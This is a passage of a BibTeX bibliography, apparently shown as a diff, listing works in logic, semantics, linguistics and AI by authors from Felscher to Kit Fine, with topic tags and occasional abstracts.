felscher:1986a, + author = {Walter Felscher}, + title = {Dialogues as a Foundation for Intuitionistic + Logic}, + booktitle = {Handbook of Philosophical Logic, Volume {III}: + Alternatives in Classical Logic}, + publisher = {D. Reidel Publishing Co.}, + year = {1986}, + editor = {Dov Gabbay and Franz Guenther}, + pages = {341--372}, + address = {Dordrecht}, + topic = {dialogue-logic;intuitionistic-logic;} + } + +@book{ feltovich-etal:1997a, + editor = {Paul J. Feltovich and Kenneth M. Ford and Robert R. Hoffman}, + title = {Expertise In Context: Human and Machine}, + publisher = {The {MIT} Press}, + year = {1997}, + address = {Cambridge, Massachusetts}, + ISBN = {0262561107}, + topic = {expertise;} + } + +@article{ fensel-etal:2000a, + author = {Dieter Fensel and Craig Knoblock and Nicholas + Kushmerick and Marie-Christine Rousset}, + title = {Workshop on Intelligent Information Integration {III'99}}, + journal = {The {AI} Magazine}, + year = {2000}, + volume = {21}, + number = {1}, + pages = {91--94}, + topic = {information-integration;} + } + +@article{ fenstad:1980a, + author = {Jens Erik Fenstad}, + title = {Nonstandand Methods in Stochastic Analysis and Mathematical + Physics}, + journal = {Jber. d. {D}t. {M}ath. {V}erein.}, + year = {1980}, + volume = {82}, + pages = {167--180}, + missinginfo = {Number, full journal name}, + topic = {nonstandard-analysis;} + } + +@unpublished{ fenstad-etal:1983a, + author = {Jens Erik Fenstad}, + title = {Situation Schemata and Systems of Logic Related to + Situation Semantics}, + year = {1983}, + note = {Unpublished manuscript, University of Oslo.}, + topic = {situation-semantics;} + } + +@techreport{ fenstad-etal:1984a, + author = {Jens Erik Fenstad and Jan Tore Langholm and Jan Tore L{\o}nning + and Helle Frisak Sem}, + title = {Report of an {O}slo Seminar in Logic and Linguistics}, + institution = {Institute of Mathematics, University of Oslo}, + number = {9}, + year = {1984}, + address = {Oslo}, + contentnote = {TC: + 1. Jens Erik Fenstad, "Introduction" + 2. Jan Tore Langholm, "Some Tentative Systems Relating to + Situation Semantics" + 3. Jan Tore L{\o}nning, "Mass Terms and Quantification" + 4. Helle Frisak Sem, "Quantifier Scope and Coreferentiality" + }, + topic = {nl-semantics;} + } + +@unpublished{ fenstad-etal:1986a, + author = {Jens Erik Fenstad and Per-Kristian Halvorsen and Tore + Langholm and Johan {van Benthem}}, + title = {Equations, Schemata and Situations: A Framework for + Linguistic Semantics}, + year = {1986}, + note = {Unpublished manuscript, Stanford University.}, + topic = {situation-semantics;} + } + +@incollection{ fenstad:1988a, + author = {Jens Erik Fenstad}, + title = {Language and Computations}, + booktitle = {The Universal {T}uring Machine: A Half-Century + Survey}, + publisher = {Oxford University Press}, + year = {1988}, + editor = {Rolf Herkin}, + pages = {327--347}, + address = {Oxford}, + topic = {situation-semantics;} + } + +@techreport{ fenstad:1989a, + author = {Jens Erik Fenstad}, + title = {Representations and Interpretations}, + institution = {Department of Mathematics, University of Oslo}, + year = {1990}, + number = {Cosmos Report No. 9}, + address = {Oslo, Norway}, + topic = {logic-and-linguistics;feature-structure-logic;nl-semantics;} + } + +@techreport{ fenstad-lonning:1990a, + author = {Jens Erik Fenstad and Jan Tore L{\o}nning}, + title = {Computational Semantics: Steps towards `Intelligent' + Text Processing}, + institution = {Department of Mathematics, University of Oslo}, + year = {1990}, + number = {15}, + address = {Oslo, Norway}, + topic = {computational-linguistics;computational-semantics;} + } + +@incollection{ ferguson-etal:1986a, + author = {Charles A. Ferguson and Judy Snitzer Reilly and Alice + ter Meulen and Elizabeth Closs Traugott}, + title = {Overview}, + booktitle = {On Conditionals}, + publisher = {Cambridge University Press}, + year = {1986}, + editor = {Elizabeth Traugott and Alice {ter Meulen} and Judy Reilly}, + pages = {3--20}, + address = {Cambridge, England}, + topic = {conditionals;} + } + +@inproceedings{ ferguson-allen_jf:1994a, + author = {George Ferguson and James F. Allen}, + title = {Arguing about Plans: Plan Representation and Reasoning + for Mixed-Initiative Planning}, + booktitle = {Proceedings of the Second International Conference on + {AI} Planning Systems}, + year = {1994}, + pages = {43--48}, + editor = {Kristian Hammond}, + missinginfo = {organization, publisher, address}, + topic = {discourse;multi-agent-planning;pragmatics;} + } + +@article{ ferme:1998a, + author = {Eduardo L. Ferm\'e}, + title = {On the Logic of Theory Change: Contraction without + Recovery}, + journal = {Journal of Logic, Language, and Information}, + year = {1998}, + volume = {7}, + number = {2}, + pages = {127--137}, + topic = {belief-revision;} + } + +@article{ ferme-hansson_so:1999a, + author = {Eduardo L. Ferm\'e and Sven Ove Hansson}, + title = {Selective Revision}, + journal = {Studia Logica}, + year = {1999}, + volume = {63}, + number = {1}, + pages = {331--342}, + topic = {belief-revision;} + } + +@incollection{ fernandezbreis-etal:2001a, + author = {J.T. Fern\'andez-Breis and Rafael Valencia-Garcia and Rodrigo + Martinez-B\'ejar and Pascual Cantos-G\`omez}, + title = {A Context-Driven Approach for Knowledge Acquisition: + Application to a Leukemia Domain}, + booktitle = {Modeling and Using Context}, + publisher = {Springer-Verlag}, + year = {2001}, + editor = {Varol Akman and Paolo Bouquet and Richmond Thomason + and Roger A. Young}, + pages = {445--448}, + address = {Berlin}, + topic = {context;knowledge-acquisition;} + } + +@unpublished{ fernando:1997a, + author = {Tim Fernando}, + title = {A Modal Logic for Non-Deterministic Disambiguation}, + year = {1997}, + note = {Unpublished manuscript, University of Stuttgart.}, + topic = {disambiguation;modal-logic;} + } + +@article{ fernando:1997b, + author = {Tim Fernando}, + title = {Ambiguity under Changing Contexts}, + journal = {Linguistics and Philosophy}, + year = {1997}, + volume = {20}, + number = {6}, + pages = {575--606}, + topic = {ambiguity;context;} + } + +@article{ fernando:1999a, + author = {Tim Fernando}, + title = {A Modal Logic for Non-Deterministic Discourse + Processing}, + journal = {Journal of Logic, Language, and Information}, + year = {1999}, + volume = {8}, + number = {4}, + pages = {445--468}, + contentnote = {Correction: p. 465, weaken + $(\phi\supset\phi) \iff (\phi>\psi)$ + to $(\phi\supset\phi) \supset (\phi>\psi)$ + }, + topic = {modal-logic;discourse-reasoning;discourse-interpretation;} + } + +@incollection{ fernando:1999b, + author = {Tim Fernando}, + title = {Non-Monotonicity from Constructing Semantic + Representations}, + booktitle = {Proceedings of the Twelfth {A}msterdam Colloquium}, + publisher = {ILLC/Department of Philosophy, University + of Amsterdam}, + year = {1999}, + editor = {Paul Dekker}, + pages = {7--12}, + address = {Amsterdam}, + topic = {nm-ling;discourse-interpretation;} + } + +@article{ fernando:2001a, + author = {Tim Fernando}, + title = {Ambiguous Discourse in a Compositional Context. An + Operational Perspective}, + journal = {Journal of Logic, Language, and Information}, + year = {2001}, + volume = {10}, + number = {1}, + pages = {63--86}, + topic = {compositionality;nl-semantics;dynamic-semantics;} + } + +@inproceedings{ ferrandez-etal:1998a, + author = {Antonio Ferr\'andez and Manuel Palomar and Lidia Moreno}, + title = {Anaphor Resolution In Unrestricted Texts With Partial + Parsing}, + booktitle = {Proceedings of the Thirty-Sixth Annual Meeting of the + {A}ssociation for {C}omputational {L}inguistics and + Seventeenth International Conference on + Computational Linguistics}, + year = {1998}, + editor = {Christian Boitet and Pete Whitelock}, + pages = {385--392}, + organization = {Association for Computational Linguistics}, + publisher = {Morgan Kaufmann Publishers}, + address = {San Francisco, California}, + topic = {anaphora-resolution;} +} + +@article{ ferrari_g:1997a, + author = {Giacomo Ferrari}, + title = {Types of Contexts and Their Role in Multimodal + Communication}, + journal = {Computational Intelligence}, + year = {1997}, + volume = {13}, + number = {3}, + pages = {414--426}, + topic = {context;discourse;pragmatics;} + } + +@inproceedings{ ferrari_g:1997b, + author = {Giacomo Ferrari}, + title = {The Use of Nonverbal Communication in Human-Computer + Interaction}, + booktitle = {Working Papers of the {AAAI} Fall Symposium on + Context in Knowledge Representation and Natural Language}, + year = {1997}, + editor = {Sasa Buva\v{c} and {\L}ucia Iwa\'nska}, + pages = {41--47}, + organization = {American Association for Artificial Intelligence}, + publisher = {American Association for Artificial Intelligence}, + address = {Menlo Park, California}, + topic = {context;gestures;multimodal-communication;} + } + +@article{ ferrari_m:1997a, + author = {Mauro Ferrari}, + title = {Cut-Free Tableau Calculi for some Intuitionistic + Modal Logics}, + journal = {Studia Logica}, + year = {1997}, + volume = {59}, + number = {3}, + pages = {303--330}, + topic = {intuitionistic-logic;modal-logic;proof-theory;} + } + +@inproceedings{ ferrari_s:1996a, + author = {St\'ephane Ferrari}, + title = {Using Textual Clues to Improve Metaphor Processing}, + booktitle = {Proceedings of the Thirty-Fourth Annual Meeting of the + Association for Computational Linguistics}, + year = {1996}, + editor = {Arivind Joshi and Martha Palmer}, + pages = {351--353}, + organization = {Association for Computational Linguistics}, + publisher = {Morgan Kaufmann Publishers}, + address = {San Francisco}, + topic = {nl-interpretation;metaphor;pragmatics;} + } + +@article{ ferrari_s:1999a, + author = {St\'ephane Ferrari}, + title = {Review of {\it Processing Metonymy and Metaphor}, + by {D}an {F}ass}, + journal = {Computational Linguistics}, + year = {1998}, + volume = {25}, + number = {3}, + pages = {450--452}, + xref = {Review of fass:1997a.}, + topic = {discourse;psycholinguistics;metaphor;metonymy;} + } + +@incollection{ ferrario:2001a, + author = {Roberta Ferrario}, + title = {Counterfactual Reasoning}, + booktitle = {Modeling and Using Context}, + publisher = {Springer-Verlag}, + year = {2001}, + editor = {Varol Akman and Paolo Bouquet and Richmond Thomason + and Roger A. Young}, + pages = {170--183}, + address = {Berlin}, + topic = {context;conditional-reasoning;} + } + +@article{ ferreira:1999a, + author = {Fernando Ferreira}, + title = {A Note on Finiteness in the Predicative + Foundations of Arithmetic}, + journal = {Journal of Philosophical Logic}, + year = {1999}, + volume = {28}, + number = {2}, + pages = {165--174}, + topic = {predicativity;foundations-of-arithmetic;} + } + +@article{ ferreira_f-wehmeier:2002a, + author = {Fernando Ferreira and Kai F. Wehmeier}, + title = {On the Consistency of the $\Delta^1_1$-{CA} Fragment + of {F}rege's {G}rundgesetze}, + journal = {Journal of Philosophical Logic}, + year = {2002}, + volume = {31}, + number = {4}, + pages = {301--311}, + topic = {consistency-proofs;Frege;} + } + +@book{ ferreiros:1999a, + author = {Jose Ferreir\'os}, + title = {Labyrinth of Thought. A History of Set Theory and Its + Role in Modern Mathematics}, + publisher = {Birkh\"auser Verlag}, + year = {1999}, + address = {Basel}, + xref = {Review; kanamori:2001a.}, + topic = {history-of-mathematics;set-theory;foundations-of-mathematics;} + } + +@article{ ferreiros:2001a, + author = {Jos\'e Ferreiros}, + title = {The Road to Modern Logic---An Interpretation}, + journal = {The Bulletin of Symbolic Logic}, + year = {2001}, + volume = {7}, + number = {4}, + pages = {441--484}, + topic = {history-of-logic;philosophical-logic;} + } + +@inproceedings{ ferret-etal:1998a, + author = {Olivier Ferret and Brigitte Grau and Nicolas Masson}, + title = {Thematic Segmentation of Texts: Two Methods for Two Kind + of Texts}, + booktitle = {Proceedings of the Thirty-Sixth Annual Meeting of the + {A}ssociation for {C}omputational {L}inguistics and + Seventeenth International Conference on + Computational Linguistics}, + year = {1998}, + editor = {Christian Boitet and Pete Whitelock}, + pages = {392--396}, + organization = {Association for Computational Linguistics}, + publisher = {Morgan Kaufmann Publishers}, + address = {San Francisco, California}, + topic = {text-segmentation;} +} + +@book{ festinger-katz:1953a, + editor = {Leon Festinger and Daniel Katz}, + title = {Research Methods in the Behavioral Sciences}, + publisher = {Dryden Press}, + year = {1953}, + address = {New York}, + topic = {social-science-methodology;behavioral-science-methodology;} + } + +@book{ festinger-etal:1956a, + author = {Leon Festinger and Henry W. Riecken and Stanley Schachter}, + title = {When Prophecy Fails: A Social and Psychological Study of a + Modern Group that Predicted the Destruction of the World}, + publisher = {Harper and Row}, + year = {1956}, + address = {New York}, + ISBN = {019853745X (v. 1)}, + topic = {religious-fanaticism;} + } + +@book{ festinger:1962a, + author = {Leon Festinger}, + title = {A Theory of Cognitive Dissonance}, + publisher = {Stanford University Press}, + year = {1962}, + address = {Stanford}, + topic = {cognitive-dissonance;} + } + +@book{ festinger:1964a, + author = {Leon Festinger}, + title = {Conflict, Decision, and Dissonance}, + publisher = {Stanford University Press}, + year = {1964}, + address = {Stanford, California}, + ISBN = {0231056729}, + topic = {decision-making;} + } + +@book{ festinger:1983a, + author = {Leon Festinger}, + title = {The Human Legacy}, + publisher = {Columbia University Press}, + year = {1983}, + address = {New York}, + ISBN = {0231056729}, + topic = {social-change;} + } + +@incollection{ fetzer_a:1999a, + author = {Anita Fetzer}, + title = {Non-Acceptance: Re- or Un-Creating Context?}, + booktitle = {Modeling and Using Contexts: Proceedings of + the Second International and Interdisciplinary + Conference, {CONTEXT}'99}, + publisher = {Springer-Verlag}, + year = {1999}, + editor = {Paolo Bouquet and Luigi Serafini and Patrick + Br\'ezillon and Massimo Benerecetti and Francesca + Castellani}, + pages = {133--144}, + address = {Berlin}, + topic = {context;speech-acts;} + } + +@incollection{ fetzer_a:2001a, + author = {Anita Fetzer}, + title = {Context in Natural-Language Communication: + Presupposed or Co-Supposed?}, + booktitle = {Modeling and Using Context}, + publisher = {Springer-Verlag}, + year = {2001}, + editor = {Varol Akman and Paolo Bouquet and Richmond Thomason + and Roger A. Young}, + pages = {449--452}, + address = {Berlin}, + topic = {context;presupposition;} + } + +@article{ fetzer_jh-nute:1979a, + author = {James H. Fetzer and Donald L. Nute}, + title = {Syntax, Semantics, and Ontology: A Probabilistic Causal Calculus}, + journal = {Synth\'ese}, + year = {1979}, + volume = {40}, + pages = {453--495}, + missinginfo = {number}, + topic = {causality;conditionals;} + } + +@article{ fetzer_jh-nute:1980a, + author = {James H. Fetzer and Donald Nute}, + title = {A Probabilistic Causal Calculus: Conflicting Conceptions}, + journal = {Synth\'ese}, + year = {1980}, + volume = {44}, + pages = {241--246}, + missinginfo = {number}, + topic = {causality;probability;conditionals;} + } + +@inproceedings{ fevre-wang:1998a, + author = {St\'ephane F\'evre and Dongming Wang}, + title = {Combining Algebraic Computing and Term-Rewriting for + Geometry Theorem Proving}, + booktitle = {Artificial Intelligence and Symbolic Computation: + Proceedings of {AISC'98}}, + year = {1998}, + editor = {Jacques Calmet and Jan Plaza}, + pages = {145--156}, + publisher = {Springer Verlag}, + address = {Berlin}, + topic = {combining-systems;automated-algebra;theorem-proving;} + } + +@book{ fiadeiro:1999a, + editor = {J.L. Fiadeiro}, + title = {Recent Trends in Algebraic Development Techniques: 13th + International Workshop, {WADT}'98 Lisbon}, + publisher = {Springer-Verlag}, + year = {1999}, + address = {Berlin}, + ISBN = {3-540-66246-4}, + topic = {abstract-data-types;} + } + +@incollection{ fiedler:1998a, + author = {Armin Fiedler}, + title = {Macroplanning with a Cognitive Architecture for the + Adaptive Explanation of Proofs}, + booktitle = {Proceedings of the Ninth International Workshop + on Natural Language Generation}, + publisher = {Association for Computational Linguistics}, + year = {1998}, + editor = {Eduard Hovy}, + pages = {88--97}, + address = {New Brunswick, New Jersey}, + topic = {nl-generation;explanation;theorem-proving;} + } + +@article{ field:1973a, + author = {Hartry Field}, + title = {Theory Change and the Indeterminacy of Reference}, + journal = {Journal of Philosophy}, + year = {1973}, + volume = {70}, + pages = {462--481}, + topic = {reference;conceptual-framework;} +} + +@article{ field:1977a, + author = {Hartry Field}, + title = {Logic, Meaning, and Conceptual Role}, + journal = {The Journal of Philosophy}, + year = {1977}, + volume = {69}, + pages = {379--408}, + topic = {conceptual-role-semantics;foundations-of-semantics;} + } + +@article{ field:1978a, + author = {Hartry Field}, + title = {A Note on {J}effrey Conditionalization}, + journal = {Philosophy of Science}, + year = {1978}, + volume = {45}, + pages = {361--367}, + missinginfo = {number}, + topic = {probability-kinematics;} + } + +@book{ field:1980a, + author = {Hartry Field}, + title = {Science without Numbers: A Defense of Nominalism}, + publisher = {Princeton University Press}, + year = {1980}, + address = {Princeton}, + topic = {nominalism;formalizations-of-physics;logic-and-ontology; + formalizations-of-geometry;} + } + +@article{ field:1992a, + author = {Hartry Field}, + title = {A Nominalistic Proof of the Conservativeness of Set Theory}, + journal = {Journal of Philosophical Logic}, + year = {1992}, + volume = {21}, + number = {2}, + pages = {111--123}, + topic = {foundations-of-set-theory;philosophy-of-mathematics;} + } + +@article{ fiengo-lasnik:1972a, + author = {Robert Fiengo and Howard Lasnik}, + title = {The Logical Structure of Reciprocal Sentences in + {E}nglish}, + journal = {Foundations of Language}, + year = {1972}, + volume = {8}, + pages = {447--468}, + missinginfo = {Year, volume are a guess.}, + topic = {reciprical-constructions;} + } + +@article{ fiengo:1981a, + author = {Robert Fiengo}, + title = {Opacity in {NP}}, + journal = {Linguistic Analysis}, + year = {1981}, + volume = {7}, + number = {4}, + pages = {395--421}, + topic = {referential-opacity;nl-semantics;} + } + +@book{ fiengo-may:1994a, + author = {Robert Fiengo and Robert May}, + title = {Indices and Identity}, + publisher = {The {MIT} Press}, + year = {1994}, + address = {Cambridge, Massachusetts}, + topic = {nl-semantics;anaphora;LF;} + } + +@incollection{ fiengo-may_r:1996a, + author = {Robert Fiengo and Robert May}, + title = {Anaphora and Identity}, + booktitle = {The Handbook of Contemporary Semantic Theory}, + publisher = {Blackwell Publishers}, + year = {1996}, + address = {Oxford}, + editor = {Shalom Lappin}, + pages = {117--144}, + topic = {nl-semantics;anaphora;} + } + +@article{ fiengo-may:1998a, + author = {Robert Fiengo and Robert May}, + title = {Names and Expressions}, + journal = {The Journal of Philosophy}, + year = {1998}, + volume = {95}, + number = {8}, + pages = {377--409}, + topic = {reference;identity;intensionality;Pierre-puzzle;} + } + +@article{ fikes:1970a, + author = {Richard E. Fikes}, + title = {{REF-ARF}: A System for Solving Problems Stated as + Procedures}, + journal = {Artificial Intelligence}, + year = {1970}, + volume = {1}, + number = {1--2}, + pages = {27--120}, + topic = {problem-solving;} + } + +@article{ fikes-nilsson_nj:1971a, + author = {Richard E. Fikes and Nils J. Nilsson}, + title = {{\sc strips}: A New Approach to the Application of Theorem + Proving to Problem Solving}, + journal = {Artificial Intelligence}, + volume = {2}, + number = {3--4}, + year = {1971}, + pages = {189--208}, + xref = {Commentary: fikes-nilsson_nj:1993a.}, + topic = {foundations-of-planning;STRIPS;} + } + +@article{ fikes-etal:1972a1, + author = {Richard E. Fikes and P.E. Hart and Nils J. Nilsson}, + title = {Learning and Executing Generalized Robot Plans}, + journal = {Artificial Intelligence}, + pages = {251--288}, + volume = {3}, + number = {1--3}, + year = {1972}, + xref = {Republication: fikes-etal:1972a1.}, + topic = {machine-learning;planning;} + } + +@incollection{ fikes-hendrix:1978a, + author = {Richard E. Fikes and Gary G. Hendrix}, + title = {The Deduction Component}, + booktitle = {Understanding Spoken Language}, + publisher = {North-Holland}, + year = {1978}, + editor = {Donald E. Walker}, + pages = {355--374}, + address = {Amsterdam}, + topic = {computational-dialogue;discourse-reasoning;theorem-proving;} + } + +@article{ fikes:1981a, + author = {Richard E. Fikes}, + title = {Odyssey: A Knowledge-Based Assistant}, + journal = {Artificial Intelligence}, + year = {1981}, + volume = {16}, + number = {3}, + pages = {331--361}, + acontentnote = {Abstract: + We describe an investigation into the representation and use of + task domain knowledge to assist with the acquisition of data in + an office information system. In particular, a demonstration + system called Odyssey is described which assists with the + filling out of a collection of electronic forms in the + preparation for a business trip. The system uses knowledge about + trip planning to maintain consistency of the acquired data, + infer additional values and data base records, reformat field + entries on the forms, correct spelling errors, etc. We discuss + the `frame oriented' style of programming used to design and + implement Odyssey that combines `frame-structured' knowledge + representation and `object oriented' programming. We focus on + the problems involved with allowing the user at any time to + enter or change information in any of the forms. A dependency + maintenance facility is described that deals with those problems + by allowing the application of domain knowledge to data whenever + it enters the data base, and the removal of derived results + whenever the data used in the derivation is removed or changed.}, + topic = {frames;planning;kr;} + } + +@incollection{ fikes-etal:1981a, + author = {Richard Fikes and Peter Hart and Nils J. Nilsson}, + title = {Learning and Executing Generalized Robot Plans}, + booktitle = {Readings in Artificial Intelligence}, + publisher = {Morgan Kaufmann}, + year = {1981}, + editor = {Bonnie Webber and Nils J. Nilsson}, + pages = {231--249}, + address = {Los Altos, California}, + xref = {Journal Publication: fikes-etal:1972a1.}, + topic = {planning;} + } + +@article{ fikes-kehler:1985a, + author = {Richard Fikes and Tom Kehler}, + title = {The Role of Frame-Based Representation in Reasoning}, + journal = {Communications of the {ACM}}, + year = {1985}, + volume = {28}, + number = {9}, + pages = {904--920}, + month = {September}, + contentnote = {Describes KEE, explains its use to manage rules in a + production system. General discussion of frames as KR + technique.}, + topic = {kr;frames;kr-course;} + } + +@article{ fikes-nilsson_nj:1993a, + author = {Richard E. Fikes and Nils J. Nilsson}, + title = {{STRIPS}, a Retrospective}, + journal = {Artificial Intelligence}, + year = {1993}, + volume = {59}, + number = {1--2}, + pages = {227--232}, + xref = {Commentary on fikes-nilsson_nj:1971a.}, + topic = {foundations-of-planning;STRIPS;} + } + +@incollection{ fikes:1996a, + author = {Richard Fikes}, + title = {Ontologies: What are They, and Where's the Research?}, + booktitle = {{KR}'96: Principles of Knowledge Representation and + Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1996}, + editor = {Luigia Carlucci Aiello and Jon Doyle and Stuart Shapiro}, + pages = {652--654}, + address = {San Francisco, California}, + topic = {kr;computational-ontology;kr-course;} + } + +@unpublished{ fikes-farquhar:1997a, + author = {Richard Fikes and Adam Farquhar}, + title = {Large-Scale Repositories of Highly Expressive Reusable + Knowledge}, + year = {1997}, + note = {Unpublished manuscript, Knowledge Systems Laboratory, + Stanford University}, + topic = {kr;krcourse;large-kr-systems;computational-ontology;} + } + +@article{ filip-carlson_g:2001a, + author = {Hana Filip and Gregory N. Carlson}, + title = {Distibutivity Strengthens Reciprocity, Collectivity + Weakens It}, + journal = {Linguistics and Philosophy}, + year = {2001}, + volume = {24}, + number = {4}, + pages = {417--466}, + topic = {distributive/collective-readings;reciprical-constructions;} + } + +@incollection{ fillmore:1968a, + author = {Charles J. Fillmore}, + title = {The Case for Case}, + booktitle = {Universals in Linguistic Theory}, + publisher = {Holt, Rinehart and Winston}, + year = {1968}, + editor = {Emmon Bach and Robert Harms}, + pages = {1--88}, + address = {New York}, + topic = {thematic-roles;} + } + +@incollection{ fillmore:1971a, + author = {Charles J. Fillmore}, + title = {Verbs of Judging: An Exercise in Semantic Description}, + booktitle = {Studies in Linguistic Semantics}, + publisher = {Holt, Rinehart and Winston}, + year = {1971}, + editor = {Charles J. Fillmore and D. Terence Langendoen}, + pages = {273--289}, + address = {New York}, + topic = {presupposition;pragmatics;} + } + +@book{ fillmore:1971a2, + author = {Charles Fillmore}, + title = {Lectures on Deixis}, + publisher = {Cambridge University Press}, + year = {1996}, + address = {Cambridge, England}, + xref = {IULC Publication: fillmore:1975a.}, + topic = {deixis;pragmatics;} + } + +@incollection{ fillmore:1971b, + author = {Charles J. Fillmore}, + title = {Types of Lexical Information}, + booktitle = {Semantics: An Interdisciplinary Reader in Philosophy, + Linguistics, and Psychology}, + publisher = {Cambridge University Press}, + year = {1971}, + editor = {Danny D. Steinberg and Leon A. Jacobovits}, + pages = {370--392}, + address = {Cambridge, England}, + topic = {lexical-semantics;lexicon;} + } + +@book{ fillmore:1971c, + editor = {Charles J. Fillmore}, + title = {Working Papers in Linguistics No. 10}, + publisher = {Department of Linguistics, The Ohio State University}, + year = {1971}, + address = {Columbus, Ohio}, + topic = {case-grammar;} + } + +@book{ fillmore-langendoen:1971a, + editor = {Charles J. Fillmore and D. Terence Langendoen}, + title = {Studies in Linguistic Semantics}, + publisher = {Holt, Rinehart and Winston}, + year = {1971}, + address = {New York}, + topic = {presupposition;pragmatics;nl-semantics;} + } + +@incollection{ fillmore:1972a, + author = {Charles Fillmore}, + title = {On Generativity}, + booktitle = {Goals of Linguistic Theory}, + publisher = {Prentice-Hall, Inc.}, + year = {1972}, + editor = {Stanley Peters}, + pages = {1--19}, + address = {Englewood Cliffs, New Jersey}, + topic = {transformational-grammar;philosophy-of-linguistics;} + } + +@incollection{ fillmore:1972b, + author = {Charles J. Fillmore}, + title = {Subjects, Speakers and Roles}, + booktitle = {Semantics of Natural Language}, + publisher = {D. Reidel Publishing Co.}, + year = {1972}, + editor = {Donald Davidson and Gilbert H. Harman}, + pages = {1--24}, + address = {Dordrecht}, + topic = {nl-semantics;thematic-roles;lexical-semantics;} + } + +@book{ fillmore:1975a1, + author = {Charles J. Fillmore}, + title = {Santa {C}ruz Lectures on Deixis}, + publisher = {Indiana University Linguistics Club}, + year = {1975}, + address = {310 Lindley Hall, Bloomington, Indiana}, + xref = {Republication: fillmore:1975a2.}, + topic = {indexicals;deixis;pragmatics;} + } + +@incollection{ fillmore:1977a, + author = {Charles J. Fillmore}, + title = {The Case for Case Reopened}, + booktitle = {Syntax and Semantics 8: Grammatical Relations}, + publisher = {Academic Press}, + year = {1977}, + editor = {Peter Cole and Jerry M. Sadock}, + pages = {59--81}, + address = {New York}, + topic = {thematic-roles;} + } + +@incollection{ fillmore:1977b, + author = {Charles J. Fillmore}, + title = {Scenes-and-Frames Semantics}, + booktitle = {Linguistic Structures Processing}, + publisher = {North-Holland Publishing Co.}, + year = {1977}, + editor = {Antonio Zampolli}, + missinginfo = {pages}, + topic = {nl-semantics;} + } + +@incollection{ fillmore:1981a, + author = {Charles J. Fillmore}, + title = {Pragmatics and the Description of Discourse}, + booktitle = {Radical Pragmatics}, + publisher = {Academic Press}, + year = {1981}, + editor = {Peter Cole}, + pages = {143--166}, + address = {New York}, + topic = {pragmatics;deixis;} + } + +@incollection{ filman:1991a, + author = {Robert E. Filman}, + title = {Ascribing Artificial Intelligence to (Simpler) + Machines, or When {AI} Meets the Real World}, + booktitle = {Artificial Intelligence and Mathematical Theory of + Computation}, + publisher = {Academic Press}, + year = {1991}, + editor = {Vladimir Lifschitz}, + pages = {73--89}, + address = {San Diego}, + topic = {ai-editorial;} + } + +@unpublished{ fine:1981a, + author = {Kit Fine}, + title = {Acts, Events and Things}, + year = {1981}, + note = {Unpublished manuscript.}, + topic = {identity;individuation;} + } + +@article{ fine:2000a, + author = {Kit Fine}, + title = {Semantics for the Logic of Essence}, + journal = {Journal of Philosophical Logic}, + year = {2000}, + volume = {29}, + number = {5}, + pages = {543--584}, + topic = {metaphysics;essence;essentialism;modal-logic;} + } + +@article{ fine_a:1982a, + author = {Arthur Fine}, + title = {Joint Distributions, Quantum Correlations, and Commuting + Observables}, + journal = {Journal of Mathematical Physics}, + year = {1982}, + volume = {3}, + pages = {1306--1310}, + missinginfo = {number}, + title = {Plato on Naming}, + journal = {The Philosophical Quarterly}, + year = {1977}, + volume = {27}, + number = {109}, + pages = {289--301}, + topic = {Plato;reference;philosophy-of-language;} + } + +@article{ fine_g:1979a, + author = {Gail Fine}, + title = {False Belief in the {T}heaetetus}, + journal = {Phronesis}, + year = {1979}, + volume = {24}, + number = {1}, + pages = {70--80}, + topic = {Plato;philosophy-of-belief;} + } + +@article{ fine_k:1970a, + author = {Kit Fine}, + title = {Propositional Quantifiers in Modal Logic}, + journal = {Theoria}, + year = {1970}, + volume = {36}, + pages = {336--346}, + missinginfo = {number.}, + topic = {higher-order-modal-logic;propositional-quantifiers;} + } + +@unpublished{ fine_k:1971a, + author = {Kit Fine}, + title = {Critical Review of {D}. {L}ewis' `Counterfactuals'\, } , + year = {1971}, + note = {Unpublished manuscript.}, + missinginfo = {Year is a guess.}, + topic = {conditionals;} + } + +@article{ fine_k:1974a, + author = {Kit Fine}, + title = {Models for Entailment}, + journal = {Journal of Philosophical Logic}, + year = {1974}, + volume = {3}, + number = {4}, + pages = {347--372}, + topic = {relevance-logic;} + } + +@article{ fine_k:1975a1, + author = {Kit Fine}, + title = {Vagueness, Truth and Logic}, + journal = {Synth\'ese}, + year = {1975}, + volume = {30}, + pages = {265--300}, + missinginfo = {number.}, + xref = {Republication: fine_k:1975a1.}, + topic = {vagueness;} + } + +@incollection{ fine_k:1975a2, + author = {Kit Fine}, + title = {Vagueness, Truth, and Logic}, + booktitle = {Vagueness: A Reader}, + publisher = {The {MIT} Press}, + year = {1997}, + editor = {Rosanna Keefe and Peter Smith}, + pages = {119--150}, + address = {Cambridge, Massachusetts}, + xref = {Republication of fine_k:1975a1.}, + topic = {vagueness;} + } + +@article{ fine_k:1977a, + author = {Kit Fine}, + title = {Properties, Propositions and Sets}, + journal = {Journal of Philosophical Logic}, + year = {1977}, + volume = {6}, + number = {2}, + pages = {135--191}, + topic = {intensional-logic;} + } + +@article{ fine_k:1978a, + author = {Kit Fine}, + title = {Model Theory for Modal Logic Part I---The + {\em De Re\/}/{\em De Dicto} Distinction}, + journal = {Journal of Philosophical Logic}, + year = {1978}, + volume = {7}, + number = {2}, + pages = {125--156}, + topic = {modal-logic;quantifying-in-modality;singular-propositions;} + } + +@article{ fine_k:1978b, + author = {Kit Fine}, + title = {Model Theory for Modal Logic---Part {II}: The Elimination of + {\em De Re} Modality}, + journal = {Journal of Philosophical Logic}, + year = {1978}, + volume = {7}, + number = {3}, + pages = {277--306}, + topic = {modal-logic;quantifying-in-modality;singular-propositions;} + } + +@article{ fine_k:1981a, + author = {Kit Fine}, + title = {Model Theory for Modal Logic---Part {III}, Existence and + Predication}, + journal = {Journal of Philosophical Logic}, + year = {1981}, + volume = {10}, + number = {2}, + pages = {293--307}, + topic = {modal-logic;quantifying-in-modality;reference-gaps;} + } + +@article{ fine_k:1983a, + author = {Kit Fine}, + title = {The Permutation Principle in Quantificational Logic}, + journal = {Journal of Philosophical Logic}, + year = {1983}, + volume = {12}, + number = {1}, + pages = {33--37}, + topic = {axiomatizations-of-FOL;} + } + +@article{ fine_k-tennant_n:1983b, + author = {Kit Fine and Neil Tennant}, + title = {A Defence of Arbitrary Objects}, + journal = {Proceedings of the {A}ristotelian Society}, + year = {1983}, + volume = {57}, + note = {Supplementary Series.}, + pages = {55--77}, + xref = {Same as fine_k:1984a?}, + topic = {arbitrary-objects;} + } + +@incollection{ fine_k:1984a, + author = {Kit Fine}, + title = {A Defense of Arbitrary 